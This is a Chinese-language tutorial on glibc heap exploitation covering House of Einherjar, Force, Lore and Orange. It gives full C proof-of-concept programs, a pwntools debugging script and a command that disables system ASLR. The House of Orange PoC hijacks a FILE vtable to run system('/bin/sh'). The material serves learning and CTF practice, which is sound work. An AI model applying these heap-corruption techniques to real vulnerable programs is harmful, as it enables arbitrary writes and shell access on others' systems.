House of 系列堆漏洞详解
多Glibc版本调试方法
由于house of技术中的一些漏洞只能在特定的低版本Glibc中触发,因此需要掌握多Glibc版本调试方法。
使用pwntools脚本调试特定版本Glibc
from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'
pro = raw_input("py <Bin_Path>: ")
pro = pro.replace("\n", "")
io = process([pro], env={"LD_PRELOAD":"./libc-2.25.so.6"})
gdb.attach(io, 'set exec-wrapper env "LD_PRELOAD=./libc-2.25.so.6"')
pause()
io.interactive()
GCC编译选项
-
栈保护(CANARY):
-fno-stack-protector- 禁用栈保护-fstack-protector- 为局部变量中含有char数组的函数插入保护代码-fstack-protector-all- 为所有函数插入保护代码
-
FORTIFY:
-D_FORTIFY_SOURCE=1- 仅在编译时检查-D_FORTIFY_SOURCE=2- 程序执行时也会检查
-
NX:
- 默认开启NX保护
-z execstack- 禁用NX保护-z noexecstack- 开启NX保护
-
PIE:
- 默认不开启PIE
-fpie -pie- 开启PIE(强度1)-fPIE -pie- 开启PIE(最高强度2)-fpic- 开启PIC(强度1)-fPIC- 开启PIC(最高强度2)
-
关闭系统ASLR:
sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space" -
RELRO:
- 默认Partial RELRO
-z norelro- 关闭RELRO-z lazy- 部分开启(Partial RELRO)-z now- 全部开启(Full RELRO)
House of Einherjar
原理
利用Off-by-one将下一个chunk的pre_inuse标志位置零,将p1的prev_size字段设置为目标chunk位置与p1的差值。在free下一个chunk时,让free函数以为上一个chunk已经被free,当free最后一个chunk时,会将伪造的chunk和当前chunk和top chunk进行unlink操作,合并成一个top chunk,从而达到将top chunk设置为我们伪造chunk的地址。
PoC代码
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#define CHUNKSIZE 0x100
#define FIRST_CHUNKSIZE 0x20
#define SECOND_CHUNKSIZE CHUNKSIZE
#define THIRD_CHUNKSIZE 0x0
#define INTERNAL_SIZE_T size_t
#define SIZE_SZ sizeof(INTERNAL_SIZE_T)
struct malloc_chunk {
INTERNAL_SIZE_T prev_size;
INTERNAL_SIZE_T size;
struct malloc_chunk *fd;
struct malloc_chunk *bk;
struct malloc_chunk *fd_nextsize;
struct malloc_chunk *bk_nextsize;
};
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
char *p0 = malloc(FIRST_CHUNKSIZE - SIZE_SZ); // 第一个字节将被覆盖为空字节
char *p1 = malloc(SECOND_CHUNKSIZE - SIZE_SZ); // 防止调用malloc_consolidate()
char *p2 = malloc(THIRD_CHUNKSIZE);
printf("House of Einherjar Poc\n\n");
printf("堆中共申请三个chunk\n第一个chunk只需要对齐且未分配\n第二个chunk大小必须在smallbin & largebin范围内\n最后一个chunk可以为任意大小,只需要保证不调用malloc_consolidate()\n");
printf("\tp0 = %p\n\tp1 = %p\n\tp2 = %p\n", p0, p1, p2);
printf("\n--\n");
printf("在栈中伪造一个fakechunk\n");
struct malloc_chunk fakechunk;
fakechunk.size = 0;
fakechunk.fd = &fakechunk;
fakechunk.bk = &fakechunk;
printf("当前 fakechunk:\n");
printf("\t&fakechunk: %p\n", &fakechunk);
printf("\t\t.size: 0x%zx\n\t\t.fd: %p\n\t\t.bk: %p\n", fakechunk.size, fakechunk.fd, fakechunk.bk);
printf("\n--\n");
printf("假设p0对p1存在Off-by-one\n因此p1->size的最低位将被修改为NULL\np1->prev_size同样受到影响\n\n");
off_t diff = (off_t)&fakechunk - (off_t)(struct malloc_chunk*)(p1 - SIZE_SZ*2);
*((INTERNAL_SIZE_T*)&p0[FIRST_CHUNKSIZE - SIZE_SZ*2]) = -diff;
p0[FIRST_CHUNKSIZE - SIZE_SZ] = '\0'; // off-by-one
printf("** 溢出触发 **\n");
free(p1);
printf("\n--\n");
printf("当前 fakechunk:\n");
printf("\t&fakechunk: %p\n", &fakechunk);
printf("\t\t.size: 0x%zx\n\t\t.fd: %p\n\t\t.bk: %p\n", fakechunk.size, fakechunk.fd, fakechunk.bk);
printf("\n控制fakechunk->size为合适的值\n");
fakechunk.size = CHUNKSIZE;
printf("当前 fakechunk:\n");
printf("\t&fakechunk: %p\n", &fakechunk);
printf("\t\t.size: 0x%zx\n\t\t.fd: %p\n\t\t.bk: %p\n", fakechunk.size, fakechunk.fd, fakechunk.bk);
printf("\n--\n");
printf("malloc(0x%zx) // fakechunk+SIZE_SZ.\n", CHUNKSIZE - SIZE_SZ);
char *where_you_want = malloc(CHUNKSIZE - SIZE_SZ);
printf("\t目标地址 = %p\n", where_you_want);
return 0;
}
关键步骤分析
-
申请三个chunk:
- p0: 第一个chunk,将被溢出
- p1: 第二个chunk,大小必须在smallbin & largebin范围内
- p2: 防止p1被free后与top chunk合并
-
伪造fake chunk:
- 在栈上构造一个fake chunk,设置fd和bk指向自身
-
触发Off-by-one:
- 计算fake chunk与p1的偏移量
- 修改p1的prev_size为偏移量
- 通过Off-by-one将p1的size最低位清零
-
free(p1)触发合并:
- 系统误认为前一个chunk(fake chunk)已被free
- 将fake chunk、p1和top chunk合并
-
重新malloc:
- 从合并后的top chunk中分配内存,获得目标地址的控制权
Glibc 2.27的检查
在2.27版本中增加了对prev_size的检查:
if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0)) \
malloc_printerr("corrupted size vs. prev_size"); \
需要额外伪造fake chunk的next chunk的prev_size字段:
fake_chunk2 = (struct malloc_chunk*)p0 + 1;
fake_chunk2->prev_size = sizeof(struct malloc_chunk);
利用思路
通过house_of_einherjar控制top chunk,再次malloc后可以控制程序相应位置,可能实现任意地址读写,进而通过常规手段getshell。
House of Force
原理
假设top chunk的header可被溢出覆盖,可以将size修改为一个大数,使得所有初始化都通过top chunk而不是mmap,再malloc就可以使接下来的任何操作都调用指定地址,实现一次任意地址写。
利用条件
- 用户能够以溢出等方式控制到top chunk的size域
- 用户能够自由的控制堆分配尺寸的大小
PoC代码
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
char bss_var[] = "这里是将要被覆写的字符串.";
int main(int argc, char *argv[]) {
fprintf(stderr, "\nHouse of Force Poc\n\n");
fprintf(stderr, "\n我们将通过此漏洞覆写地址 %p 的值.\n", bss_var);
fprintf(stderr, "当前值为: %s\n", bss_var);
fprintf(stderr, "\n申请第一个chunk.\n");
intptr_t *p1 = malloc(256);
fprintf(stderr, "大小为256 bytes的chunk在%p被申请.\n", p1 - 2);
int real_size = malloc_usable_size(p1);
fprintf(stderr, "分配的块的实际大小是%ld.\n", real_size + sizeof(long)*2);
fprintf(stderr, "\n假设存在一个可溢出到top chunk的漏洞\n");
intptr_t *ptr_top = (intptr_t *)((char *)p1 + real_size - sizeof(long));
fprintf(stderr, "\ntop chunk起始地址是%p\n", ptr_top);
fprintf(stderr, "\n用一个极大值覆写top chunk的size使得malloc不会调用mmap\n");
fprintf(stderr, "top chunk的旧size %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
fprintf(stderr, "top chunk的新size %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
fprintf(stderr, "\n接下来申请一个chunk,通过整数溢出指向该chunk");
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
fprintf(stderr, "\n我们想要写的值位于%p, top chunk位于%p, 通过计算头部size,\n"
"我们应该malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
fprintf(stderr, "新指针和旧top chunk一样指向: %p\n", new_ptr - sizeof(long)*2);
void *ctr_chunk = malloc(100);
fprintf(stderr, "\n下一个chunk将指向目标buffer.\n");
fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
fprintf(stderr, "现在我们可覆写该字符串:\n");
fprintf(stderr, "... old string: %s\n", bss_var);
fprintf(stderr, "... 使用strcpy覆写\"YEAH!!!\"...\n");
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "... new string: %s\n", bss_var);
}
关键步骤分析
-
申请初始chunk:
- 分配一个普通chunk(p1)
- 计算top chunk的起始地址
-
修改top chunk size:
- 将top chunk的size修改为极大值(-1)
-
计算evil_size:
- 计算目标地址与top chunk的偏移
- 通过malloc(evil_size)将top chunk扩展到目标地址
-
分配目标chunk:
- 再次malloc分配内存,此时将分配到目标地址
- 向目标地址写入数据
Glibc版本差异
- 在glibc-2.27上仍然可以利用
- 2.29版本增加了检查:
if (__glibc_unlikely(size > av->system_mem))
malloc_printerr("malloc(): corrupted top size");
House of Lore
原理
创建两个chunk,第一个用于进入smallbin中,第二个用来防止free后被top chunk合并。free第一块,将其送入unsortedbin链表,再次申请一个size位于largebin中且在unsortedbin中没有匹配的chunk,系统会把unsortedbin中的chunk加入到smallbin中。如果能够控制第一个chunk的fd、bk指针,就可以在栈上伪造出一个smallbin的链表,再次malloc时可以从smallbin的链表末尾取chunk,实现在栈上创造chunk。
PoC代码
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
struct small_chunk {
size_t prev_size;
size_t size;
struct small_chunk *fd;
struct small_chunk *bk;
char buf[0x64]; // 填充smallbin size大小的chunk
};
int main() {
struct small_chunk fake_chunk, another_fake_chunk;
struct small_chunk *real_chunk;
unsigned long long *ptr, *victim;
int len;
printf("House of lore Poc\n\n");
printf("fake_chunk地址: %p\n\n", &fake_chunk);
len = sizeof(struct small_chunk);
printf("申请两个small chunk,释放第一个,该块会并入unsorted bin\n");
ptr = malloc(len);
printf("第一块small chunk地址: %p\n\n", ptr);
printf("第二块大小可以为任意值,只是为了防止第一块free后与top chunk合并\n");
printf("第二块small chunk地址: %p\n\n", malloc(len));
free(ptr);
real_chunk = (struct small_chunk *)(ptr - 2);
printf("第一块目前的地址: %p\n\n", real_chunk);
printf("再申请一个chunk,size大于之前chunk以防被分配到同一个位置\n");
printf("之前free的chunk现在进入small bin\n");
printf("第三块small chunk地址: %p\n\n", malloc(len + 0x10));
printf("使第一块small chunk的bk指针指向&fake_chunk,fake chunk将被插入smallbin\n");
real_chunk->bk = &fake_chunk;
printf("使fake_chunk的fd指针指向第一块small chunk\n");
fake_chunk.fd = real_chunk;
printf("绕过'victim->bk->fd == victim'检测\n");
fake_chunk.bk = &another_fake_chunk;
another_fake_chunk.fd = &fake_chunk;
printf("重新申请第一块,地址为: %p\n", malloc(len));
victim = malloc(len);
printf("再次申请得到fake_chunk,地址为%p\n", victim);
return 0;
}
关键步骤分析
-
申请两个small chunk:
- chunk1: 将被释放并加入small bin
- chunk2: 防止chunk1被free后与top chunk合并
-
释放chunk1:
- chunk1被放入unsorted bin
-
申请large chunk:
- 申请一个size大于chunk1的chunk
- 使chunk1从unsorted bin转移到small bin
-
伪造fake chunk链表:
- 修改chunk1的bk指向fake_chunk
- 设置fake_chunk的fd指向chunk1
- 设置fake_chunk的bk指向another_fake_chunk
- 设置another_fake_chunk的fd指向fake_chunk
-
分配fake chunk:
- 通过两次malloc分配,第二次将分配到fake_chunk
利用思路
通过house of lore可以实现任意地址分配内存,可以向chunk中写入数据来覆盖返回地址控制eip,甚至绕过canary检查。
House of Orange
原理
假设存在堆溢出可覆盖到top chunk,设置top chunk+size页面对齐,设置prev_inuse位,然后申请一块比top chunk size大的块,使top chunk扩展。控制io_list_all,当malloc分割时,chunk->bk->fd的值会被libc的main_arena中的unsorted bin列表的地址覆盖。修改fd满足相应条件,设置跳板指针指向可控内存,malloc触发利用链。
PoC代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner(char *ptr);
int main() {
fprintf(stderr, "House of orange Poc\n\n");
char *p1, *p2;
size_t io_list_all, *top;
p1 = malloc(0x400 - 16);
fprintf(stderr, "首先申请一个chunk: p1 %p\n", p1);
fprintf(stderr, "设置top chunk+size页面对齐,设置prev_inuse位\n\n");
top = (size_t *)((char *)p1 + 0x400 - 16);
top[1] = 0xc01;
fprintf(stderr, "申请一个size大于top chunk的块,使其调用sysmalloc和_init_free\n\n");
p2 = malloc(0x1000);
fprintf(stderr, "p2 %p\n", p2);
fprintf(stderr, "chunk->bk->fd覆盖_IO_list_all指针\n\n");
io_list_all = top[2] + 0x9a8;
fprintf(stderr, "io_list_all现在指向chunk->bk->fd %p\n", &io_list_all);
fprintf(stderr, "当malloc分割时,chunk->bk->fd的值会被libc的main_arena中的unsorted bin列表的地址覆盖。\n\n");
fprintf(stderr, "设置chunk->bk为_IO_list_all - 16\n");
top[3] = io_list_all - 0x10;
fprintf(stderr, "system将通过top指针被调用,使用用/bin/sh填充前8个字节,相当于system(/bin/sh)\n");
memcpy((char *)top, "/bin/sh\x00", 8);
fprintf(stderr, "将top chunk的size改小,使旧的top chunk被malloc分配到small bin[4],指向伪文件指针的fd-ptr\n\n");
top[1] = 0x61;
fprintf(stderr, "满足条件fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base\n");
_IO_FILE *fp = (_IO_FILE *)top;
fprintf(stderr, "满足fp->_mode <= 0\n");
fp->_mode = 0; // top+0xc0
fprintf(stderr, "满足fp->_IO_write_ptr > fp->_IO_write_base\n");
fp->_IO_write_base = (char *)2; // top+0x20
fp->_IO_write_ptr = (char *)3; // top+0x28
fprintf(stderr, "设置跳板指向可控内存\n\n");
size_t *jump_table = &top[12]; // 可控内存
jump_table[3] = (size_t)&winner;
*(size_t *)((size_t)fp + sizeof(_IO_FILE)) = (size_t)jump_table; // top+0xd8
fprintf(stderr, "malloc触发利用链\n");
malloc(10);
return 0;
}
int winner(char *ptr) {
system(ptr);
return 0;
}
关键步骤分析
-
申请chunk并修改top chunk:
- 申请初始chunk(p1)
- 修改top chunk的size为页面对齐值并设置prev_inuse位
-
扩展top chunk:
- 申请一个大于top chunk size的chunk(p2)
- 触发sysmalloc扩展堆空间
-
构造_IO_list_all指针:
- 计算io_list_all地址
- 设置chunk的bk为io_list_all - 0x10
-
准备system(/bin/sh):
- 在top chunk起始处写入"/bin/sh"
- 缩小top chunk size使其被放入small bin
-
满足条件:
- 设置fp->_mode <= 0
- 设置fp->_IO_write_ptr > fp->_IO_write_base
-
设置跳板:
- 构造跳板表指向可控内存
- 将winner函数地址放入跳板表
-
触发利用链:
- 通过malloc触发利用链执行system("/bin/sh")
不同Glibc版本的差异
-
glibc-2.23之前:
- 没有检查,可直接构造假的stdout
- 触发libc的abort,利用abort中的_IO_flush_all_lockp控制程序流
-
glibc-2.23之后:
- 增加了_IO_vtable_check
- 要求vtable必须在__stop___libc_IO_vtables和__start___libc_IO_vtables之间
- 可以将vtable指向_IO_str_jumps,将fp的0xe8偏移覆盖为system函数,fp的0x38偏移覆盖为/bin/sh字符串
-
glibc-2.27及之后:
- abort中没有刷新流的操作
- 不再容易利用